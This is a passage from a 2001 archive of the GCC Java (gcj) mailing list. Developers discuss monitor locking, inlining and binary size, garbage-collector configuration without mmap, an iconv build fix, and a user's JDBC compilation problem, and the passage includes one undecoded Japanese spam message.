have changed in > newer releases. I believe __pthread_lock now does, at least if __pthread_smp_kernel is set. (Hopefully that doesn't get set on uniprocessors that happen to have an smp kernel installed?) Pthread_mutex_lock usually invokes that. > > I'm curious if the path for reentrant monitors couldn't be shortened > somewhat. In _Jv_MonitorExit we have > > if (__builtin_expect(light_thr_id == self, true)) > { > count = he -> light_count; > if (__builtin_expect((address & ~HEAVY) == addr, true)) > { > if (count != 0) > { > // We held the lightweight lock all along. > Thus the values > // we saw for light_thr_id and light_count must > have been > // valid. > he -> light_count = count - 1; > return; > > No compare_and_swap here. I guess if a thread evaluates > "light_thr_id == > self" true it knows it holds the lock. Why can't > _Jv_MonitorEnter do the > same and potentially avoid the CAS? Am I missing something? I don't think that patch is sufficient, since you also need to check that the address corresponds to the object you're looking for. Even if it is, you would neeed to increment the light_count field, unlike the other case. But all of that's probably fixable. The harder question is whether the added test is worth it. I believe the rule of thumb in one of the IBM papers was that reentrant locks have about 10% of the frequency of initial uncontested locks. At that rate it's probably not worth it. But I gather those statistics vary for other applications. Hans > > Index: natObject.cc > =================================================================== > RCS file: /cvs/gcc/gcc/libjava/java/lang/natObject.cc,v > retrieving revision 1.17 > diff -u -r1.17 natObject.cc > --- natObject.cc 2001/07/23 03:51:17 1.17 > +++ natObject.cc 2001/07/25 04:46:49 > @@ -768,8 +769,8 @@ > > assert(!(addr & FLAGS)); > retry: > - if (__builtin_expect(compare_and_swap(&(he -> address), > - 0, addr),true)) > + if (__builtin_expect (he->light_thr_id != self > + && compare_and_swap(&(he -> address), 0, addr), true)) > { > assert(he -> light_thr_id == INVALID_THREAD_ID); > assert(he -> light_count == 0); > > From java-return-6624-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 27 00:39:58 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 21485 invoked by alias); 27 Jul 2001 00:39:58 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21447 invoked from network); 27 Jul 2001 00:39:54 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 27 Jul 2001 00:39:54 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA23017; Thu, 26 Jul 2001 18:39:47 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id TAA19699; Thu, 26 Jul 2001 19:06:42 -0600 To: Jeff Sturm Cc: Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 References: X-Zippy: The FALAFEL SANDWICH lands on my HEAD and I become a VEGETARIAN... X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 26 Jul 2001 19:06:41 -0600 In-Reply-To: Jeff Sturm's message of "Thu, 26 Jul 2001 15:31:53 -0400 (EDT)" Message-ID: <87elr3npsu.fsf@creche.redhat.com> Lines: 13 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Jeff" == Jeff Sturm writes: Jeff> I'd be inclined to omit DECL_INLINE in the frontend and let the Jeff> integrator use its best judgement, at least until we have tree Jeff> inlining with decent heuristics. Of course one application on Jeff> one platform isn't a good data set. Comments? Alex really should comment on this. I do think we at least need to have -fkeep-inline-functions be the default. A separate issue, I guess. Tom From java-return-6625-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 27 00:41:16 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22436 invoked by alias); 27 Jul 2001 00:41:16 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 22402 invoked from network); 27 Jul 2001 00:41:15 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 27 Jul 2001 00:41:15 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA23095; Thu, 26 Jul 2001 18:40:52 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id TAA19716; Thu, 26 Jul 2001 19:07:47 -0600 To: Jeff Sturm Cc: Andrew Haley , Cedric Berger , Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 References: X-Zippy: We place two copies of PEOPLE magazine in a DARK, HUMID mobile home. 45 minutes later CYNDI LAUPER emerges wearing a BIRD CAGE on her head! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 26 Jul 2001 19:07:45 -0600 In-Reply-To: Jeff Sturm's message of "Thu, 26 Jul 2001 14:36:40 -0400 (EDT)" Message-ID: <87bsm7npr2.fsf@creche.redhat.com> Lines: 12 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Jeff" == Jeff Sturm writes: Jeff> I'm not too surprised that gcj can win this benchmark since the Jeff> main loops contains no method calls. On many benchmarks I've Jeff> tried, gcj is slightly handicapped by dynamic linking alone. We've talked about building the other libraries as convenience libraries and then incorporating them into libgcj. I think we should do it, at least if it makes a difference. Could you submit a feature-request PR for this? Tom From java-return-6626-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 27 01:09:32 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 1598 invoked by alias); 27 Jul 2001 01:09:32 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 1563 invoked from network); 27 Jul 2001 01:09:26 -0000 Received: from unknown (HELO min.ecn.purdue.edu) (128.46.200.41) by sourceware.cygnus.com with SMTP; 27 Jul 2001 01:09:26 -0000 Received: from localhost (ake@localhost) by min.ecn.purdue.edu (8.11.3/moyman) with ESMTP id f6R19He25068; Thu, 26 Jul 2001 20:09:18 -0500 (EST) Date: Thu, 26 Jul 2001 20:09:17 -0500 (EST) From: Antonio Ake To: Jeff Sturm cc: Subject: Re: Problem --with-gc=simple. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I need my target binaries without mmap because I am using a simulator which doesn't implement it. I was reading that If i use the option --with-gc=simple I can disable the use of mmap in my target binaries. Is this true? antonio > > > Is there any other way to disable to use mmap? Do you know who is using > > mmap, with gdb I got this: > > mmap<-__assert (?) > > mmap<-_OtsNotify_Ovf_I (?) > > Why can't you use mmap? > > Jeff > > From java-return-6627-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 27 01:23:26 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 6945 invoked by alias); 27 Jul 2001 01:23:25 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 6925 invoked from network); 27 Jul 2001 01:23:24 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 27 Jul 2001 01:23:24 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6R1PPW25116; Fri, 27 Jul 2001 13:25:25 +1200 Message-ID: <3B60C354.DD41B05C@waitaki.otago.ac.nz> Date: Fri, 27 Jul 2001 13:26:45 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: Antonio Ake CC: Jeff Sturm , java@gcc.gnu.org Subject: Re: Problem --with-gc=simple. References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Antonio Ake wrote: > I need my target binaries without mmap because I am using a simulator > which doesn't implement it. I was reading that If i use the option > --with-gc=simple I can disable the use of mmap in my target binaries. Is > this true? No. "--with-gc" only affects what GCC itself uses for its internal garbage collection. "--with-java-gc" is the option to control the garbage collector that Java binaries actually use. There are only two options, "boehm" and "none". "none" will use malloc() for allocations and you will have no garbage collection, but this maybe useful during development/debugging. You probibly want to look in the boehm-gc directory and see if you can make it use something other than mmap() on your target. Take a look at os-dep.c. regards Bryce. From java-return-6628-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 27 01:33:03 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12990 invoked by alias); 27 Jul 2001 01:33:02 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12960 invoked from network); 27 Jul 2001 01:33:01 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 27 Jul 2001 01:33:01 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6R1YpW25153; Fri, 27 Jul 2001 13:34:51 +1200 Message-ID: <3B60C58A.76C6018@waitaki.otago.ac.nz> Date: Fri, 27 Jul 2001 13:36:10 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: Jeff Sturm CC: Tom Tromey , Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff Sturm wrote: > On 26 Jul 2001, Tom Tromey wrote: > > If you are running performance tests, always use at least -O1. > > -O2 is probably better. Often, -O3 can give worse results than -O2, > > though, because (I hear) it inlines too aggressively (perhaps not a > > problem for Java, where inlining is still not quite there). > > True. Gcj has a different problem: every private/static/final method is > declared DECL_INLINE. That may not always do what you want. > > I built one application library at -O0, -O2 and -O3 with the patch below, > and at -O2 unpatched for comparison. > > text data bss dec hex filename > 1659369 247180 704 1907253 1d1a35 libjacl-O0.so > 2474525 243612 704 2718841 297c79 libjacl-O2-unpatched.so > 1354881 237836 704 1593421 18504d libjacl-O2.so > 1418826 236272 704 1655802 1943fa libjacl-O3.so > > With the patch -O2 yields the smallest binary, and -O3 slightly larger. > That's what I expect. But the unpatched gcj nearly doubles the text size > at -O2. The library built with -O3 executes fastest on my tests. > > I'd be inclined to omit DECL_INLINE in the frontend and let the integrator > use its best judgement, at least until we have tree inlining with decent > heuristics. Of course one application on one platform isn't a good > data set. Comments? Wow. It would be interesting to see what sort of difference it makes to the size of libgcj with this patch applied. If its as significant as this, and the performance difference isn't big, then I would vote in favour of applying it until the front end can be made smarter about inlining. At -O3, I suspect it is inlining functions even when they do not have DECL_INLINE set? Perhaps then we should consider building libgcj with -O3, or whatever option tells it to inline more aggressively? regards Bryce. From java-return-6629-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 27 02:17:43 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 27325 invoked by alias); 27 Jul 2001 02:17:42 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 27255 invoked from network); 27 Jul 2001 02:17:39 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 27 Jul 2001 02:17:39 -0000 Received: from guarana.lsd.ic.unicamp.br (cse.cygnus.com [205.180.230.236]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id TAA18437; Thu, 26 Jul 2001 19:17:27 -0700 (PDT) Received: (from aoliva@localhost) by guarana.lsd.ic.unicamp.br (8.11.2/8.11.2) id f6R2HQn14663; Thu, 26 Jul 2001 23:17:26 -0300 To: David Edelsohn Cc: Rainer Orth , Tom Tromey , java@gcc.gnu.org, gcc-patches@gcc.gnu.org Subject: Re: GCC 3.0 branch Java iconv linking problems References: <200107261624.MAA20646@makai.watson.ibm.com> From: Alexandre Oliva Organization: GCC Team, Red Hat Date: 26 Jul 2001 23:17:24 -0300 In-Reply-To: <200107261624.MAA20646@makai.watson.ibm.com> (David Edelsohn's message of "Thu, 26 Jul 2001 12:24:15 -0400") Message-ID: Lines: 28 User-Agent: Gnus/5.090003 (Oort Gnus v0.03) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii On Jul 26, 2001, David Edelsohn wrote: >>>>>> Rainer Orth writes: Rainer> David Edelsohn writes: >>> I think the following definition of LIBICONV in Makefile.in is >>> necessary for the recent iconv change to be correct. Rainer> Right. The same patch is required to return GCC to bootstrap land on Tru64 Rainer> UNIX Rainer> http://gcc.gnu.org/ml/gcc-patches/2001-07/msg01381.html Rainer> but still hasn't been reviewed ;-( > Well this is totally ridiculous. I am approving this as obviously > correct and going to commit it on both the trunk and the branch. GCC > should not remains broken for this long. I agree. Sorry that it has taken so long for me to react, I'm recovering from an emergency surgery I had last week, and I had planned to try for a complete fix. But you're right, this should be enough for now. -- Alexandre Oliva Enjoy Guarana', see http://www.ic.unicamp.br/~oliva/ Red Hat GCC Developer aoliva@{cygnus.com, redhat.com} CS PhD student at IC-Unicamp oliva@{lsd.ic.unicamp.br, gnu.org} Free Software Evangelist *Please* write to mailing lists, not to me From java-return-6630-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 27 02:33:02 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 30667 invoked by alias); 27 Jul 2001 02:33:02 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 30612 invoked from network); 27 Jul 2001 02:32:57 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 27 Jul 2001 02:32:57 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id UAA01152; Thu, 26 Jul 2001 20:32:46 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id UAA20554; Thu, 26 Jul 2001 20:59:43 -0600 To: Bryce McKinlay Cc: Antonio Ake , Jeff Sturm , java@gcc.gnu.org Subject: Re: Problem --with-gc=simple. References: <3B60C354.DD41B05C@waitaki.otago.ac.nz> X-Zippy: I am deeply CONCERNED and I want something GOOD for BREAKFAST! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 26 Jul 2001 20:59:42 -0600 In-Reply-To: Bryce McKinlay's message of "Fri, 27 Jul 2001 13:26:45 +1200" Message-ID: <87wv4v9iw1.fsf@creche.redhat.com> Lines: 13 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Bryce" == Bryce McKinlay writes: Bryce> You probibly want to look in the boehm-gc directory and see if Bryce> you can make it use something other than mmap() on your Bryce> target. Take a look at os-dep.c. I've had boehm-gc running on a MIPS simulator before. This was a couple years ago. It wasn't using POSIX threads, it was using qthreads (a hacky system; the way we were using it I/O blocked all threads). I'm sure this is still doable, but it almost certainly requires some hacking. Tom From java-return-6631-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 27 08:22:23 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 5477 invoked by alias); 27 Jul 2001 08:22:22 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 5393 invoked from network); 27 Jul 2001 08:22:22 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 27 Jul 2001 08:22:22 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id BAA06682; Fri, 27 Jul 2001 01:22:09 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id BAA12306; Fri, 27 Jul 2001 01:22:09 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15201.9393.667380.9706@fencer.cygnus.com> Date: Fri, 27 Jul 2001 01:22:09 -0700 (PDT) To: tromey@redhat.com Cc: Jeff Sturm , Van Nguyen , java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 In-Reply-To: <87elr3npsu.fsf@creche.redhat.com> References: <87elr3npsu.fsf@creche.redhat.com> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: I wish I was on a Cincinnati street corner holding a clean dog! Tom Tromey writes: > Alex really should comment on this. We could control this behavior with a flag to let people choose what fits them the best eventually, but I'm pretty much in favor on not pushing inlining too far until we have a better way of doing it. > I do think we at least need to have -fkeep-inline-functions be the > default. Yes. ./A From java-return-6632-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 27 12:33:10 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22995 invoked by alias); 27 Jul 2001 12:33:09 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 22816 invoked from network); 27 Jul 2001 12:31:46 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 27 Jul 2001 12:31:46 -0000 Received: from locutus (locutus.cygnus.com [205.180.230.91]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with SMTP id FAA20008; Fri, 27 Jul 2001 05:31:34 -0700 (PDT) Message-ID: <016701c115cf$457fc6e0$5be6b4cd@cygnus.com> From: "Anthony Green" To: "Bryce McKinlay" , "Antonio Ake" Cc: "Jeff Sturm" , References: <3B60C354.DD41B05C@waitaki.otago.ac.nz> Subject: Re: Problem --with-gc=simple. Date: Thu, 26 Jul 2001 05:34:06 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Bryce wrote: > You probibly want to look in the boehm-gc directory and see if you can make it > use something other than mmap() on your target. Take a look at os-dep.c. Right. I've run gcj code on a number of different simulator targets recently. It sounds like Antonio needs to configure things properly in gcconfig.h. I think mmap is used to get memory for some unix targets. For embedded target's we've simulated we simply define our own "sbrk" which returns memory from a statically allocated heap. Search for ECOS in os-dep.c. AG From java-return-6633-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 28 04:15:57 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4623 invoked by alias); 28 Jul 2001 04:15:56 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4316 invoked from network); 28 Jul 2001 04:14:31 -0000 Received: from unknown (HELO nopause.berkeley.edu) (128.32.27.19) by sourceware.cygnus.com with SMTP; 28 Jul 2001 04:14:31 -0000 Received: from tsetse.lab-net (tsetse.lab-net [10.32.251.2]) by nopause.berkeley.edu (Postfix) with ESMTP id 9B74B22130 for ; Fri, 27 Jul 2001 21:15:34 -0700 (PDT) Subject: How to use jdbc? From: Adrian Custer To: java@gcc.gnu.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/0.11 (Beta Release) Date: 27 Jul 2001 21:13:49 -0700 Message-Id: <996293630.7146.16.camel@tsetse.lab-net> Mime-Version: 1.0 Hey everyone, I'm trying out jdbc. I finally got the program working using sun's java but I don't like it, I'd rather be Free. :-) I have a program (attached). When I do the following: 1) setenv PATH /usr/local/gcc3_0/bin:$PATH setenv LD_LIBRARY_PATH /usr/local/gcc3_0/lib/ 2) gcj --main=DatabaseTester.java -o DatabaseTester DatabaseTester.java I get: /home/acuster/tmp/ccuuonhUmain%O: In function `main': /home/acuster/tmp/ccafMTcVmain.i(.text+0x1a): undefined reference to `DatabaseTester::java::class$' collect2: ld returned 1 exit status I tried copying the postgres .jar file into /usr/local/gcc3_0/share/lib/ but that didn't help. I tried a bunch of other stuff. If anyone has a good example of how one can set up the compiler, userProgramme, Database to get them working together, please let me know. Thanks for any info, adrian acuster@nature.berkeley.educational From java-return-6634-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 28 04:18:39 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 5544 invoked by alias); 28 Jul 2001 04:18:38 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 5324 invoked from network); 28 Jul 2001 04:17:13 -0000 Received: from unknown (HELO nopause.berkeley.edu) (128.32.27.19) by sourceware.cygnus.com with SMTP; 28 Jul 2001 04:17:13 -0000 Received: from tsetse.lab-net (tsetse.lab-net [10.32.251.2]) by nopause.berkeley.edu (Postfix) with ESMTP id 0764822130 for ; Fri, 27 Jul 2001 21:18:16 -0700 (PDT) Subject: How to use jdbc? (with attachement) From: Adrian Custer To: gcj list Content-Type: multipart/mixed; boundary="=-hyUq8+gWApaEJtLKHXHR" X-Mailer: Evolution/0.11 (Beta Release) Date: 27 Jul 2001 21:16:32 -0700 Message-Id: <996293792.6035.20.camel@tsetse.lab-net> Mime-Version: 1.0 --=-hyUq8+gWApaEJtLKHXHR Content-Type: text/plain Content-Transfer-Encoding: 7bit Woops forgot to attach the file, sorry for the repeat. --adrian Hey everyone, I'm trying out jdbc. I finally got the program working using sun's java but I don't like it, I'd rather be Free. :-) I have a program (attached). When I do the following: 1) setenv PATH /usr/local/gcc3_0/bin:$PATH setenv LD_LIBRARY_PATH /usr/local/gcc3_0/lib/ 2) gcj --main=DatabaseTester.java -o DatabaseTester DatabaseTester.java I get: /home/acuster/tmp/ccuuonhUmain%O: In function `main': /home/acuster/tmp/ccafMTcVmain.i(.text+0x1a): undefined reference to `DatabaseTester::java::class$' collect2: ld returned 1 exit status I tried copying the postgres .jar file into /usr/local/gcc3_0/share/lib/ but that didn't help. I tried a bunch of other stuff. If anyone has a good example of how one can set up the compiler, userProgramme, Database to get them working together, please let me know. Thanks for any info, adrian acuster@nature.berkeley.educational --=-hyUq8+gWApaEJtLKHXHR Content-Type: text/x-c++ Content-Disposition: attachment; filename=DatabaseTester.java Content-ID: <996293774.5999.19.camel@tsetse.lab-net> Content-Transfer-Encoding: 7bit ///////////////////////////////////////// // This is DatabaseTester.java // //////////////////////////////////////// import java.sql.*; public class DatabaseTester{ public static void main(String[] args) { System.out.println("Start the program..."); try { Class.forName("org.postgresql.Driver"); String sourceURL = new String("jdbc:postgresql://tsetse.lab-net:5432/avcfirst"); Connection myConnection = DriverManager.getConnection( sourceURL, "netuser","askTheBase"); Statement myStatement = myConnection.createStatement(); ResultSet myResultSet = myStatement.executeQuery("Select * from netable"); while (myResultSet.next() ) { System.out.println(myResultSet.getString("city")); } } catch(ClassNotFoundException e) { System.out.println("The class wasn't found."); } catch(SQLException e) { System.out.println("An SQL exception occured."); } } } --=-hyUq8+gWApaEJtLKHXHR-- From java-return-6635-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 28 08:58:04 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 8928 invoked by alias); 28 Jul 2001 08:58:04 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 8527 invoked from network); 28 Jul 2001 08:56:43 -0000 Received: from unknown (HELO dm-dbase-server.melad.local) (211.9.37.210) by sourceware.cygnus.com with SMTP; 28 Jul 2001 08:56:43 -0000 Received: from 211.9.37.210 (dm-dbase-server.melad.local [211.9.37.210]) by dm-dbase-server.melad.local with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id PX2L8831; Sat, 28 Jul 2001 17:04:43 +0900 To: Message-ID: <20010728.1704400997.babaq@sorifu_info-ec-shock.com> Date: Sat, 28 Jul 2001 17:04:43 +0900 From: =?ISO-2022-JP?B?GyRCJWEhPCVrJSIlcyUxITwlSDt2TDM2SRsoQg==?= Subject: =?ISO-2022-JP?B?GyRCPi5AdEZiM1UbKEIgGyRCO1k7fUlUO1k7fTZbNV4bKEI=?= =?ISO-2022-JP?B?GyRCJSIlcyUxITwlSBsoQg==?= MIME-Version: 1.0 X-Mail-Agent: BSMTP DLL Dec 17 2000 by Tatsuo Baba Content-Type: text/plain; charset=ISO-2022-JP $B>.@tFb3U!!;Y;}!&IT;Y;}!!6[5^%"%s%1!<%H(B $B$*K;$7$$$H$3$m!"$4LBOG$r$*$+$1$7$^$9$,!"(B $B2<$N(BURL$B$r%/%j%C%/$7$F!"%"%s%1!<%H$K$46(NO$*4j$$$$$?$7$^$9!#(B http://211.9.37.210/koizumi/koizumi_an.asp?id=653797 From java-return-6636-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 28 14:09:27 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 27090 invoked by alias); 28 Jul 2001 14:09:26 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 27056 invoked from network); 28 Jul 2001 14:09:25 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 28 Jul 2001 14:09:25 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id IAA12789; Sat, 28 Jul 2001 08:09:22 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id IAA12008; Sat, 28 Jul 2001 08:36:43 -0600 To: Adrian Custer Cc: java@gcc.gnu.org Subject: Re: How to use jdbc? References: <996293630.7146.16.camel@tsetse.lab-net> X-Zippy: I haven't been married in over six years, but we had sexual counseling every day from Oral Roberts!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 28 Jul 2001 08:36:43 -0600 In-Reply-To: Adrian Custer's message of "27 Jul 2001 21:13:49 -0700" Message-ID: <87d76lm878.fsf@creche.redhat.com> Lines: 7 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Adrian" == Adrian Custer writes: Adrian> 2) gcj --main=DatabaseTester.java -o DatabaseTester DatabaseTester.java --main takes the *class* name as its argument. So try `--main=DatabaseTester'. Tom From java-return-6637-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 28 20:50:37 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12551 invoked by alias); 28 Jul 2001 20:50:37 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12513 invoked from network); 28 Jul 2001 20:50:31 -0000 Received: from unknown (HELO nopause.berkeley.edu) (128.32.27.19) by sourceware.cygnus.com with SMTP; 28 Jul 2001 20:50:31 -0000 Received: from tsetse.lab-net (tsetse.lab-net [10.32.251.2]) by nopause.berkeley.edu (Postfix) with ESMTP id 37D9922130 for ; Sat, 28 Jul 2001 13:51:31 -0700 (PDT) Subject: Re: How to use jdbc? From: Adrian Custer To: gcj list In-Reply-To: <87vgkcg629.fsf@creche.redhat.com> References: <996293630.7146.16.camel@tsetse.lab-net> <87d76lm878.fsf@creche.redhat.com> <20010728073937.A20325@nopause.berkeley.edu> <87vgkcg629.fsf@creche.redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/0.11 (Beta Release) Date: 28 Jul 2001 13:49:48 -0700 Message-Id: <996353389.11834.23.camel@tsetse.lab-net> Mime-Version: 1.0 Hey everyone, ...continuing this converstaion on the list... I'm using gcj to compile a program to access a postgresql database. For the moment the database is on this same machine but this should work across the network since java can only use network sockets. I'm on mandrake 8.0++ (cooker). The distribution has a number of postgresql rpm's including the jdbc so I don't actually know how hard it is to compile. The jdbc rpm includes a critical java archive. In the PosgreSQL JDBC documentation, this is called postgresql.jar (e.g. http://jdbc.postgresql.org/docs/) but in Mandrake that file is jdbc7.0-1.2.jar which is found in the directory /usr/share/pgsql/. I copied that file into the directory where my java code was and ran the following: gcj --main=DatabaseTester -o DatabaseTester jdbc7.0-1.2.jar 